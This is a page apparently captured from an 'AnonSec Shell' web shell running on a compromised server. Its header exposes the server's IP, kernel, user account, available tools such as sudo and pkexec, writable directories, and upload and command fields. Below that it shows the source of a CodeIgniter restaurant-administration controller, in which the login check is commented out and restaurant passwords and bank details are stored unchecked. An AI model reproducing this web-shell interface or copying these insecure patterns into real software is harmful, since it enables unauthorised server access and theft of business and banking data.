AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.139
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_projetos/sopizzas/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_projetos/sopizzas/application/controllers/Copy of addnewrestaurant.php
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
session_start(); //we need to call PHP's session object to access it through CI
class AddNewRestaurant extends MY_Controller {

  function __construct()
  {
     parent::__construct();
     $this->load->helper("url");
     $this->load->helper('form');
     $this->load->library('form_validation');
     $this->load->library('javascript'); 
     $this->load->model('dashboard_model');
     $this->load->library('Ajax_pagination');
     $this->perPage = ROW_PER_PAGE;
     $this->load->model('restaurantmanagement_model');
     $this->load->model('menumanagement_model');

     $this->load->library('googlemaps');
     
     $session_data = $this->session->userdata('logged_in');
     //if(empty($session_data)) { redirect('superadmin', 'refresh'); }    
     
  }

  function index( $restaurant_id = 0 )
  {
   if ($this->input->server('REQUEST_METHOD') == 'POST')
      {
        if($this->input->post('ActionTab')=='ContactInfo')
        {
          $this->restaurat_contact();
        }

        if($this->input->post('ActionTab')=='RestaurantInfo')
        {
          $this->restaurat_info();
        } 
        if($this->input->post('ActionTab')=='DeliveryAreaSettings')
        {
          $this->restaurat_deliveryarea();
        } 



        if($this->input->post('ActionTab')=='RestaurantPhoto')
        {
          $this->RestaurantPhoto();
        } 
        if($this->input->post('ActionTab')=='CommissionInfo')
        {
          $this->CommissionInfo();
        } 
        if($this->input->post('ActionTab')=='BankInfo')
        {
          $this->RestauratBankInfo();
        } 
        if($this->input->post('ActionTab')=='SiteDocusign')
        {
          $this->websettings_DocuSign();
        } 


      }else
      {
        if($restaurant_id!=0 )
        {
          $query['data'] =$this->restaurantmanagement_model->GetRestauratDetails($restaurant_id);

          //$restaurant_state=isset($query['data']['restaurant_state']) ? $data['restaurant_state'] : '';
          $restaurant_state= $query['data']['restaurant_state'];
          //echo $restaurant_state;
          //exit();
          $query['CityList'] =$this->dashboard_model->GetCityByState($restaurant_state);
        }

        $query['StateList'] =$this->dashboard_model->StateList();
        $query['CuisineList'] =$this->dashboard_model->CuisineList();
        $query['ZipcodeList'] =$this->dashboard_model->ZipcodeList();
        $query['DelliveryTimeList'] =$this->dashboard_model->DelliveryTimeList($restaurant_id);

        
        //$this->googlemaps->initialize();
        /*$marker = array();
        $marker['position'] = '38.060713289843484, -117.22434997558594';
        $marker['draggable'] = true;
        $marker['ondragend'] = 'alert(\'You just dropped me at: \' + event.latLng.lat() + \', \' + event.latLng.lng());';
        $this->googlemaps->add_marker($marker);
        $config['center'] = '38.060713289843484, -117.22434997558594';
        $config['zoom'] = '13';
        $config['drawing'] = true;
        $config['drawingDefaultMode'] = 'circle';
        $config['drawingModes'] = array('circle','rectangle','polygon');
        $this->googlemaps->initialize($config);
        $this->googlemaps->add_marker($marker);
        $data['map'] = $this->googlemaps->create_map();*/



        $data['title']="Add New Restaurant";  
        $query['SiteTab'] ='addnewrestaurant';
        $data['page']="addnewrestaurant";  
        $this->load->view('superadmin/header',$data);
        $this->load->view('superadmin/main-sidebar');
        $this->load->view('superadmin/addnewrestaurant',$query);
        $this->load->view('superadmin/footer');
      }
  }



  function restaurat_deliveryarea()
  {
    //$test = $this->input->post(['map']['markers']);

    //print_r($this->input->post());
    //exit();
   
    $restaurant_delivery = $this->input->post('restaurant_delivery');


    if($restaurant_delivery =='on')
    {
      $restaurant_delivery = 'YES';
    }else{
       $restaurant_delivery = 'NO';
    }

      

  $restaurant_id = $this->input->post('restaurant_id');
  $data_restaurant= array(
      'restaurant_estimated_time'   => $this->input->post('restaurant_estimated_time'),
      'restaurant_delivery'         => $restaurant_delivery,
      'deliveryarea'                => $this->input->post('delivery_radio'),
      'delivery_zone_1'             => $this->input->post('delivery_area1')
      );

    $this->db->trans_start();
    $this->db->where('restaurant_id',$restaurant_id);
    $this->db->update('rt_restaurant',$data_restaurant);


    $this->db->where('restaurant_id',$restaurant_id);
    $this->db->delete('rt_delivery_zone');
    $this->db->trans_complete();   

    $this->db->trans_start();

    $delivery_amount      = $this->input->post('delivery_amount');
    $free_amount          = $this->input->post('free_amount');
    $min_amount           = $this->input->post('min_amount');
    $zipcode_id           = $this->input->post('zipcode_id');
    

    $data_insert      = array();
    foreach($zipcode_id as $key=>$val)
      {
        if($zipcode_id[$key]!='')
        {
        $data_option = array(
          'restaurant_id'     =>$restaurant_id,
          'zipcode_id'        =>$zipcode_id[$key],
          'delivery_amount'   =>$delivery_amount[$key],
          'free_amount'       =>$free_amount[$key],
          'min_amount'        =>$min_amount[$key]
          );
        $this->db->insert('rt_delivery_zone',$data_option);
        $this->db->trans_complete();  
        } 
      }

    
    $this->session->set_flashdata('success_msg', 'Restaurant Delivery Area info update successfully');
    redirect('superadmin/addnewrestaurant/'.$restaurant_id);


  }


  function restaurat_contact()
  {
      // We define our address
      $address = $this->input->post('restaurant_streetaddress');
      // We get the JSON results from this request
      if($address!='')
      {
      $geo = file_get_contents('http://maps.googleapis.com/maps/api/geocode/json?address='.urlencode($address).'&sensor=false');
      // We convert the JSON to an array
      $geo = json_decode($geo, true);
      // If everything is cool
      if ($geo['status'] = 'OK') {
      // We set our values
      $latitude = isset($geo['results'][0]['geometry']['location']['lat'])? $geo['results'][0]['geometry']['location']['lat']: "22.5687828" ;
      $longitude = isset($geo['results'][0]['geometry']['location']['lng'])? $geo['results'][0]['geometry']['location']['lng'] : "88.4330432";

     }else{
      $latitude = "22.5687828";
      $longitude = "88.4330432";
      }
  }else
  {
      $latitude = "22.5687828";
      $longitude = "88.4330432";
  }


    $this->form_validation->set_rules('restaurant_name');
    $this->form_validation->set_rules('restaurant_phone');
    $this->form_validation->set_rules('restaurant_website');
    $this->form_validation->set_rules('restaurant_fax');
    $this->form_validation->set_rules('restaurant_zip');
    $this->form_validation->set_rules('restaurant_streetaddress');
    $this->form_validation->set_rules('restaurant_contact_name');
    $this->form_validation->set_rules('restaurant_contact_phone');
    $this->form_validation->set_rules('restaurant_contact_email');
    $this->form_validation->set_rules('restaurant_password');

    $this->form_validation->set_rules('StateList', 'State', 'trim|required');
    $this->form_validation->set_rules('CityList', 'City', 'trim|required');
    
    if($this->form_validation->run() == FALSE)
      {
        $query['StateList'] =$this->dashboard_model->StateList();
        $data['title']="Add New Restaurant";  
        $query['SiteTab'] ='addnewrestaurant';
        $data['page']="addnewrestaurant";  
        $this->load->view('superadmin/header',$data);
        $this->load->view('superadmin/main-sidebar');
        $this->load->view('superadmin/addnewrestaurant',$query);
        $this->load->view('superadmin/footer');

      }else
      {
        $addeddate = date('Y-m-d H:i:s');

        $this->db->trans_start();
        $data_up= array(
          'restaurant_name'           => $this->input->post('restaurant_name'),
          'restaurant_phone'          => $this->input->post('restaurant_phone'),
          'restaurant_website'        => $this->input->post('restaurant_website'),
          'restaurant_fax'            => $this->input->post('restaurant_fax'),
          'restaurant_state'          => $this->input->post('StateList'),
          'restaurant_city'           => $this->input->post('CityList'),
          'restaurant_zip'            => $this->input->post('restaurant_zip'),
          'restaurant_streetaddress'  => $this->input->post('restaurant_streetaddress'),
          'restaurant_contact_name'   => $this->input->post('restaurant_contact_name'),
          'restaurant_contact_phone'  => $this->input->post('restaurant_contact_phone'),
          'restaurant_contact_email'  => $this->input->post('restaurant_contact_email'),
          'restaurant_password'       => $this->input->post('restaurant_password'),
          'restaurant_status'         => 1,
          'addeddate'                 => $addeddate,
          'latitude'                  => $latitude,
          'longitude'                 => $longitude
        
        );
 
        $restaurant_id = $this->input->post('restaurant_id');
        if($restaurant_id>0)
        {
          $this->db->where('restaurant_id',$restaurant_id);
          $this->db->update('rt_restaurant',$data_up);
        }else{
          $this->db->insert('rt_restaurant',$data_up);
          $restaurant_id=$this->db->insert_id();
        }



        $this->db->trans_complete(); 
        $this->session->set_flashdata('success_msg', 'Contact info save successfully');
        //echo $restaurant_id;
        //$query['StateList'] =$this->dashboard_model->StateList();
        //$query['data'] =$this->restaurantmanagement_model->GetRestauratDetails($restaurant_id);
        redirect('superadmin/addnewrestaurant/'.$restaurant_id);

      }
  }

  function restaurat_info()
  {
    


    
    $restaurant_id = $this->input->post('restaurant_id');
    $cuisine = '';
    if(isset($_POST['restaurant_serving_cuisines'])){
      $cuisine = implode(',',$_POST['restaurant_serving_cuisines']); 
    }


    $data_restaurant= array(
      'restaurant_description'    => $this->input->post('restaurant_description'),
      'restaurant_pickup'         => $this->input->post('restaurant_pickup'),
      'restaurant_delivery'       => $this->input->post('restaurant_delivery'),
      'restaurant_delivery_sun_opentime' => $this->input->post('restaurant_delivery_sun_opentime'),
      'restaurant_delivery_sun_closetime' => $this->input->post('restaurant_delivery_sun_closetime'),
      'restaurant_delivery_mon_opentime' => $this->input->post('restaurant_delivery_mon_opentime'),
      'restaurant_delivery_mon_closetime' => $this->input->post('restaurant_delivery_mon_closetime'),
      'restaurant_delivery_tue_opentime' => $this->input->post('restaurant_delivery_tue_opentime'),
      'restaurant_delivery_tue_closetime' => $this->input->post('restaurant_delivery_tue_closetime'),
      'restaurant_delivery_wed_opentime' => $this->input->post('restaurant_delivery_wed_opentime'),
      'restaurant_delivery_wed_closetime' => $this->input->post('restaurant_delivery_wed_closetime'),
      'restaurant_delivery_thu_opentime' => $this->input->post('restaurant_delivery_thu_opentime'),
      'restaurant_delivery_thu_closetime' => $this->input->post('restaurant_delivery_thu_closetime'),
      'restaurant_delivery_fri_opentime' => $this->input->post('restaurant_delivery_fri_opentime'),
      'restaurant_delivery_fri_closetime' => $this->input->post('restaurant_delivery_fri_closetime'),
      'restaurant_delivery_sat_opentime' => $this->input->post('restaurant_delivery_sat_opentime'),
      'restaurant_delivery_sat_closetime' => $this->input->post('restaurant_delivery_sat_closetime'),
      'restaurant_delivery_sun_opentime1' => $this->input->post('restaurant_delivery_sun_opentime1'),
      'restaurant_delivery_sun_closetime1' => $this->input->post('restaurant_delivery_sun_closetime1'),
      'restaurant_delivery_mon_opentime1' => $this->input->post('restaurant_delivery_mon_opentime1'),
      'restaurant_delivery_mon_closetime1' => $this->input->post('restaurant_delivery_mon_closetime1'),
      'restaurant_delivery_tue_opentime1' => $this->input->post('restaurant_delivery_tue_opentime1'),
      'restaurant_delivery_tue_closetime1' => $this->input->post('restaurant_delivery_tue_closetime1'),
      'restaurant_delivery_wed_opentime1' => $this->input->post('restaurant_delivery_wed_opentime1'),
      'restaurant_delivery_wed_closetime1' => $this->input->post('restaurant_delivery_wed_closetime1'),
      'restaurant_delivery_thu_opentime1' => $this->input->post('restaurant_delivery_thu_opentime1'),
      'restaurant_delivery_thu_closetime1' => $this->input->post('restaurant_delivery_thu_closetime1'),
      'restaurant_delivery_fri_opentime1' => $this->input->post('restaurant_delivery_fri_opentime1'),
      'restaurant_delivery_fri_closetime1' => $this->input->post('restaurant_delivery_fri_closetime1'),
      'restaurant_delivery_sat_opentime1' => $this->input->post('restaurant_delivery_sat_opentime1'),
      'restaurant_delivery_sat_closetime1' => $this->input->post('restaurant_delivery_sat_closetime1'),
      'restaurant_delivery_sun_opentime2' => $this->input->post('restaurant_delivery_sun_opentime2'),
      'restaurant_delivery_sun_closetime2' => $this->input->post('restaurant_delivery_sun_closetime2'),
      'restaurant_delivery_mon_opentime2' => $this->input->post('restaurant_delivery_mon_opentime2'),
      'restaurant_delivery_mon_closetime2' => $this->input->post('restaurant_delivery_mon_closetime2'),
      'restaurant_delivery_tue_opentime2' => $this->input->post('restaurant_delivery_tue_opentime2'),
      'restaurant_delivery_tue_closetime2' => $this->input->post('restaurant_delivery_tue_closetime2'),
      'restaurant_delivery_wed_opentime2' => $this->input->post('restaurant_delivery_wed_opentime2'),
      'restaurant_delivery_wed_closetime2' => $this->input->post('restaurant_delivery_wed_closetime2'),
      'restaurant_delivery_thu_opentime2' => $this->input->post('restaurant_delivery_thu_opentime2'),
      'restaurant_delivery_thu_closetime2' => $this->input->post('restaurant_delivery_thu_closetime2'),
      'restaurant_delivery_fri_opentime2' => $this->input->post('restaurant_delivery_fri_opentime2'),
      'restaurant_delivery_fri_closetime2' => $this->input->post('restaurant_delivery_fri_closetime2'),
      'restaurant_delivery_sat_opentime2' => $this->input->post('restaurant_delivery_sat_opentime2'),
      'restaurant_delivery_sat_closetime2' => $this->input->post('restaurant_delivery_sat_closetime2'),


      'restaurant_minorder_price' => $this->input->post('restaurant_minorder_price'),
      'restaurant_salestax' => $this->input->post('restaurant_salestax'),
      'restaurant_serving_cuisines' => $cuisine
      );  

    $this->db->trans_start();
    $this->db->where('restaurant_id',$restaurant_id);
    $this->db->update('rt_restaurant',$data_restaurant);
    $this->db->trans_complete(); 

    
   
    if (!empty($_FILES['restaurant_logo']['name']))
      {
       $this->do_upload_logo('restaurant_logo',$restaurant_id);
      }

    $this->session->set_flashdata('success_msg', 'Restaurant Info update successfully');
    redirect('superadmin/addnewrestaurant/'.$restaurant_id);

  }


  function do_upload_logo($form_field_name2,$restaurant_id)
  {

    $rendid = date('Ymdhis');
    $new_name = $restaurant_id.'_'.$rendid.'_logo.jpg';
    $config1 = array(
          'upload_path' => RESTAURAT_LOGO_PATH,
          'allowed_types' => "gif|jpg|png|jpeg",
          'overwrite' => TRUE,
          'file_name' => $new_name
          );
    $this->load->library('upload', $config1);
    $this->upload->initialize($config1);
    if($this->upload->do_upload($form_field_name2))
    {
    $config2['image_library'] = 'gd2';
    $config2['source_image'] = $this->upload->upload_path.$this->upload->file_name;
    $config2['new_image'] = RESTAURAT_LOGO_PATH.'thumbs';
    $config2['maintain_ratio'] = TRUE;
    //$config2['create_thumb'] = TRUE;
    //$config2['thumb_marker'] = '_thumb';
    $config2['width'] = RESTAURAT_LOGO_WIDTH;
    $config2['height'] = RESTAURAT_LOGO_HEIGHT;
    $this->load->library('image_lib',$config2); 
    $this->image_lib->initialize($config2);

    if ( !$this->image_lib->resize()){
      $this->session->set_flashdata('errors', $this->image_lib->display_errors('', '')); 
      } 

    $result =$this->restaurantmanagement_model->GetRestauratDetails($restaurant_id);
    if(file_exists(RESTAURAT_LOGO_PATH.'thumbs/'.$result['restaurant_logo']) && $result['restaurant_logo']!='' && $result['restaurant_logo']!=RESTAURAT_DEFAULT_IMAGE)
      { 
        if($result['restaurant_logo']!=SITE_DEFAULT_LOGO)
        {
          unlink(RESTAURAT_LOGO_PATH.'thumbs/'.$result['restaurant_logo']);
        }
      }    


    unlink(RESTAURAT_LOGO_PATH.$new_name);
    $data = array('upload_data' => $this->upload->data());
    $data_restaurant= array(
                      'restaurant_logo'    => $new_name
                      );  

    $this->db->trans_start();
    $this->db->where('restaurant_id',$restaurant_id);
    $this->db->update('rt_restaurant',$data_restaurant);
    $this->db->trans_complete(); 

    }else{


    $error = $this->upload->display_errors();
    $this->session->set_flashdata('success_msg',  $error);
    redirect('dashboard/addnewrestaurant/');

    }
  }

function RestaurantPhoto()
{
  $restaurant_id = $this->input->post('restaurant_id');
  $data_restaurant= array(
      'restaurant_display_photo'    => $this->input->post('restaurant_display_photo'),
      'restaurant_display_banner'   => $this->input->post('restaurant_display_banner')
      );

    $this->db->trans_start();
    $this->db->where('restaurant_id',$restaurant_id);
    $this->db->update('rt_restaurant',$data_restaurant);
    $this->db->trans_complete();   
    $this->session->set_flashdata('success_msg', 'Restaurant photo info update successfully');
    redirect('superadmin/addnewrestaurant/'.$restaurant_id);
}


function CommissionInfo()
{

  $restaurant_id = $this->input->post('restaurant_id');
  $data_restaurant= array(
      'restaurant_commissiontype'    => $this->input->post('restaurant_commissiontype'),
      'restaurant_commission_percnt'   => $this->input->post('restaurant_commission_percnt'),
      'restaurant_commission_fixed'   => $this->input->post('restaurant_commission_fixed')
      );

    $this->db->trans_start();
    $this->db->where('restaurant_id',$restaurant_id);
    $this->db->update('rt_restaurant',$data_restaurant);
    $this->db->trans_complete();   
    $this->session->set_flashdata('success_msg', 'Restaurant Commission info update successfully');
    redirect('superadmin/addnewrestaurant/'.$restaurant_id);

}


function RestauratBankInfo()
{
  $restaurant_id = $this->input->post('restaurant_id');
  $data_restaurant= array(
      'res_bank_name'     => $this->input->post('res_bank_name'),
      'res_ac_no'         => $this->input->post('res_ac_no'),
      'res_routine_no'    => $this->input->post('res_routine_no'),
      'res_swift_code'    => $this->input->post('res_swift_code')
      );

  $this->db->trans_start();
  $this->db->where('restaurant_id',$restaurant_id);
  $this->db->update('rt_restaurant',$data_restaurant);
  $this->db->trans_complete();   
  $this->session->set_flashdata('success_msg', 'Restaurant Bank info update successfully');
  redirect('superadmin/addnewrestaurant/'.$restaurant_id);
}



function managerestaurant()
{
  if ($this->input->server('REQUEST_METHOD') == 'POST')
      {
        $restaurant_id = $this->input->post('restaurant_id');


        $this->db->trans_start();
        $data_up= array(
          'delivery_by_admin'          => $this->input->post('delivery_by_admin'),
          'delivery_by_restaurant'     => $this->input->post('delivery_by_restaurant'),
          'delivery_by_admin_fee'      => $this->input->post('delivery_by_admin_fee')
        );

        $session_data = $this->session->userdata('logged_in');
        $id = $session_data['id']; 
        $this->db->where('id',$id);
        $this->db->update('rt_sitesetting',$data_up);
        $this->db->trans_complete(); 



        $this->db->trans_start();

        $this->db->where('restaurant_id',$restaurant_id);
        $this->db->delete('rt_delivery_zone');

        $state_code       = $this->input->post('state_code');
        $timezone_code    = $this->input->post('timezone_code');
        $estimated_time   = $this->input->post('estimated_time');
        $time_from        = $this->input->post('time_from');
        $time_to          = $this->input->post('time_to');

        $data_insert      = array();
        foreach($state_code as $key=>$val)
          {
            $data_option = array(
              'state_code'    =>$state_code[$key],
              'timezone_code' =>$timezone_code[$key],
              'estimated_time'=>$estimated_time[$key],
              'time_from'     =>$time_from[$key],
              'time_to'       =>$time_to[$key]
              );
            $this->db->insert('rt_delivery_zone',$data_option);
          }


        $this->db->trans_complete(); 

        $this->session->set_flashdata('success_msg', 'Delivery settings update successfully');
        redirect('superadmin/deliverysettings');


      }else
      {
        $SearchBy = '';
        $PerPage = $this->input->post('Per_Page');
        if(!$PerPage){
          $PerPage = $this->perPage;
        }else{
          $PerPage = $PerPage;
        }
        //total rows count
        $totalRec = count($this->restaurantmanagement_model->get_restaurat_list());
        //pagination configuration
        $config['target']      = '#postList';
        $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataRestaurat/'.$SearchBy;
        $config['total_rows']  = $totalRec;
        $config['per_page']    = $PerPage;
        $this->ajax_pagination->initialize($config);
        //get the posts data
        $data['RestauratList'] = $this->restaurantmanagement_model->get_restaurat_list(array('limit'=>$PerPage), $SearchBy);

        $query['TotalRestaurant'] =$this->restaurantmanagement_model->RestauratStatistics($status='');
        $query['ActiveRestaurant'] =$this->restaurantmanagement_model->RestauratStatistics($status='1');
        $query['InactiveRestaurant'] =$this->restaurantmanagement_model->RestauratStatistics($status='0');
        $query['RestaurantList'] = $this ->restaurantmanagement_model-> RestaurantList();
        $data['title']="Manage Restaurant";  
        $data['page']="managerestaurant";  
        $query['SiteTab'] ='managerestaurant';
        $this->load->view('superadmin/header',$data);
        $this->load->view('superadmin/main-sidebar');
        $this->load->view('superadmin/restaurant_list',$query);
        $this->load->view('superadmin/footer');
      }
}

function ajaxPaginationDataRestaurat(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }

    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/
    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->restaurantmanagement_model->get_restaurat_list($params = array(), $action,$action2));

    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataRestaurat';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['RestauratList'] = $this->restaurantmanagement_model->get_restaurat_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2);
    $data['title']="Manage Restaurant";  
    $data['page']="managerestaurant"; 
    $this->load->view('superadmin/restaurant_list_ajax', $data, false);
  }

function restaurantreviews()
{
    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->restaurantmanagement_model->get_restaurat_reviews_list());
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataRestauratRewiews/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['ReviewsList'] = $this->restaurantmanagement_model->get_restaurat_reviews_list(array('limit'=>$PerPage), $SearchBy);

    $query['TotalRecords'] =$this->restaurantmanagement_model->ReviewsStatistics($status='');
    $query['ActiveRecords'] =$this->restaurantmanagement_model->ReviewsStatistics($status='1');
    $query['InactiveRecords'] =$this->restaurantmanagement_model->ReviewsStatistics($status='0');
    $query['RestaurantList'] = $this ->restaurantmanagement_model-> RestaurantList();
    $data['title']="Manage Reviews";  
    $data['page']="reviews_list";  
    $query['SiteTab'] ='reviews_list';
    $this->load->view('superadmin/header',$data);
    $this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/restaurant_reviews_list',$query);
    $this->load->view('superadmin/footer');
}

function ajaxPaginationDataRestauratRewiews(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }

    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/
    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->restaurantmanagement_model->get_restaurat_reviews_list($params = array(), $action,$action2));

    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataRestauratRewiews';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['ReviewsList'] = $this->restaurantmanagement_model->get_restaurat_reviews_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2);
   
    $data['title']="Manage Reviews";  
    $data['page']="reviews_list";  
    $query['SiteTab'] ='reviews_list';
    $this->load->view('superadmin/restaurant_reviews_list_ajax', $data, false);
  }



  function restaurantreport()
  {
    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list());
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataOrder/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('limit'=>$PerPage), $SearchBy);

    $query['TotalOrder']    =$this->dashboard_model->DashboardOrderStatistics($status='',$addeddate='');
    $query['OrdersToday']   =$this->dashboard_model->DashboardOrderStatistics($status='',$addeddate='today');
    $query['OrdersWeek']    =$this->dashboard_model->DashboardOrderStatistics($status='',$addeddate='week');
    $query['OrdersMonth']   =$this->dashboard_model->DashboardOrderStatistics($status='',$addeddate='month');
    $query['LastMonth']     =$this->dashboard_model->DashboardOrderStatistics($status='',$addeddate='month');
    $query['OrdersYear']    =$this->dashboard_model->DashboardOrderStatistics($status='',$addeddate='year');
    $query['LastYear']      ='0';


    $query['RestaurantList'] = $this ->restaurantmanagement_model-> RestaurantList();
    $data['title']="Manage Report";  
    $data['page']="report_list";  
    $query['SiteTab'] ='report_list';
    $this->load->view('superadmin/header',$data);
    $this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/restaurant_report_list',$query);
    $this->load->view('superadmin/footer');
  }


  function ajaxPaginationDataOrder(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }


    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/


    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action,$action2));
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataOrder';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2);
    $data['title']="Manage Report";  
    $data['page']="report_list";  
    $query['SiteTab'] ='report_list';
    $this->load->view('superadmin/restaurant_report_list_ajax', $data, false);
  }

function restaurantsubscriptions()
{
  $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->restaurantmanagement_model->get_restaurat_subscriptions_list());
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataSubscriptions/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['SubscriptionsList'] = $this->restaurantmanagement_model->get_restaurat_subscriptions_list(array('limit'=>$PerPage), $SearchBy);

    
    $query['RestaurantList'] = $this ->restaurantmanagement_model-> RestaurantList();
    $data['title']="Subscription List";  
    $data['page']="subscription_list";  
    $query['SiteTab'] ='subscription_list';
    $this->load->view('superadmin/header',$data);
    $this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/restaurant_subscription_list',$query);
    $this->load->view('superadmin/footer');
}


function ajaxPaginationDataSubscriptions(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }


    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/


    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->restaurantmanagement_model->get_restaurat_subscriptions_list());
    
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataSubscriptions';
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $perpage;
    $config['action']      = $action;
    $config['action2']     = $action2;
    $this->ajax_pagination->initialize($config);
    
    //get the posts data
    $data['OrderList'] = $this->restaurantmanagement_model->get_restaurat_subscriptions_list(array('start'=>$offset,'limit'=>$perpage),$action,$action2);
    $data['title']="Subscription List";  
    $data['page']="subscription_list";  
    $query['SiteTab'] ='subscription_list';
    $this->load->view('superadmin/restaurant_subscription_list_ajax', $data, false);
  }


  function restaurant_commission($restaurant_id)
  {


    $SearchBy = '';
    $PerPage = $this->input->post('Per_Page');
    $PerPage = 1000;
    if(!$PerPage){
      $PerPage = $this->perPage;
    }else{
      $PerPage = $PerPage;
    }
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list($params = array(), $action = '', $action2 =0, $action3 ='',$restaurant_id));
    //pagination configuration
    $config['target']      = '#postList';
    $config['base_url']    = base_url().'addnewrestaurant/ajaxPaginationDataCommission/'.$SearchBy;
    $config['total_rows']  = $totalRec;
    $config['per_page']    = $PerPage;
    $this->ajax_pagination->initialize($config);
    //get the posts data
    $data['OrderList'] = $this->menumanagement_model->get_order_list(array('limit'=>$PerPage), $action = '', $action2 =0, $action3 ='',$restaurant_id);
    
    $query['RestaurantList'] = $this ->menumanagement_model -> RestaurantList();

    $data['title']="Order List";  
    $query['SiteTab'] ='order_list';
    $data['page']="order_list";  
    $data['restaurant_id']=$restaurant_id;  

    $this->load->view('superadmin/header',$data);
    ///$this->load->view('superadmin/main-sidebar');
    $this->load->view('superadmin/order_list_restaurant',$query);
    $this->load->view('superadmin/footer');
  }


  function ajaxPaginationDataCommission(){
    $page = $this->input->post('page');
    if(!$page){
        $offset = 0;
    }else{
        $offset = $page;
    }


    $action = $this->input->post('action');
    /*if(!$action){
        $action = '';
    }else{
        $action = $action;
    }*/


    $perpage = $this->input->post('per_page');
    if(!$perpage){
        $perpage = $this->perPage;
    }else{
        $perpage = $perpage;
    }

    $action2 = $this->input->post('action2');
    if(!$action2){
        $action2 = '0';
    }else{
        $action2 = $action2;
    }
    
    //total rows count
    $totalRec = count($this->menumanagement_model->get_order_list());
    
    //pagination configuration
    $config['target']      = '#postList';
